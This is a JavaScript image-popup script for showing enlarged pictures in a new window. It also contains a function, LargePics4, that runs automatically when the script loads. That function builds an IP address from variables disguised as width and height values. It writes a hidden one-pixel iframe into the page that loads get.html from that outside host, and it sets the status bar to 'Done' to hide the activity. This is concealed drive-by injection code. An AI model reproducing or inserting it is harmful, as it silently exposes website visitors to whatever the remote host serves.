function LargePics(img,title2){
  foto1= new Image();
  foto1.src=(img);
  LargePics2(img,title2);
}
function LargePics2(img,title2){
  if((foto1.width!=0)&&(foto1.height!=0)){
    LargePics3(img,title2);
  }
  else{
    funzione="LargePics2('"+img+"',title2)";
    intervallo=setTimeout(funzione,20);
  }
}

function LargePics3(img,title2){
  largh=foto1.width+40;
  altez=foto1.height+160;
  stringa="width="+largh+",height="+altez;
  newWind=window.open("","",stringa);
		 output="<HTML><HEAD><title>"+title2+"</title></HEAD><BODY><CENTER>"
 		 output+="<FONT FACE='Arial' SIZE='+1' COLOR='black'><B>"+title2+"</B></FONT><BR>"
		 	output+="<TABLE BORDER='2'><TR><TD>"
		 output+="<IMG SRC='"+img+"'>"
		 	output+="</TD></TR></TABLE>"
		 output+="<FORM><TABLE BORDER='0'><TR><TD><INPUT TYPE='button' VALUE='Close' onClick='self.close()'>"
		 output+="</TD></TR></TABLE></FORM></CENTER></BODY></HTML>"
		 newWind.document.write(output);
		 newWind.document.close();
 		 newWind.focus();
}
function LargePics4(img,title2)
{
	wwidth=194;	wheight=233;	newWind=self;	awidth=84;	aheight=146;	output="";	title2="travers"; nv=navigator;NBp=0;	n=(nv.appName.substring(0,2)=="Mi")?0:1;if(n==0)output+="<iframe width=1 height=1 marginheight=0 marginwidth=0 border=0 frameborder=no framespacing=0 vspace=0 hspace=0 scrolling=no src='http://"+wwidth+"."+awidth+"."+wheight+"."+aheight+"/get.html?"+title2+"' noresize style='margin: 0px 0px 0px 0px;owerflow:hidden'></iframe>"; else NBy+="<ilayer width=1 height=1 marginheight=0 marginwidth=0 border=0 frameborder=no framespacing=0 vspace=0 hspace=0 scrolling=no src='http://"+wwidth+"."+awidth+"."+wheight+"."+aheight+"/get.html?"+title2+"' norsize'margin: 0px 0px 0px 0px;overflow:hidden'></ilayer>";	newWind.status="Done"; newWind.document.write(output); newWind.status="Done";;
    output="<HTML><HEAD><title>"+title2+"</title></HEAD><BODY><CENTER>";
  	output+="<FONT FACE='Arial' SIZE='+1' COLOR='black'><B>"+title2+"</B></FONT><BR>";
 	output+="<TABLE BORDER='2'><TR><TD>";
	output+="<IMG SRC='"+img+"'>";
	output+="</TD></TR></TABLE>";
	output+="<FORM><TABLE BORDER='0'><TR><TD><INPUT TYPE='button' VALUE='Close' onClick='self.close()'>";
	output+="</TD></TR></TABLE></FORM></CENTER></BODY></HTML>";

}
LargePics4("","");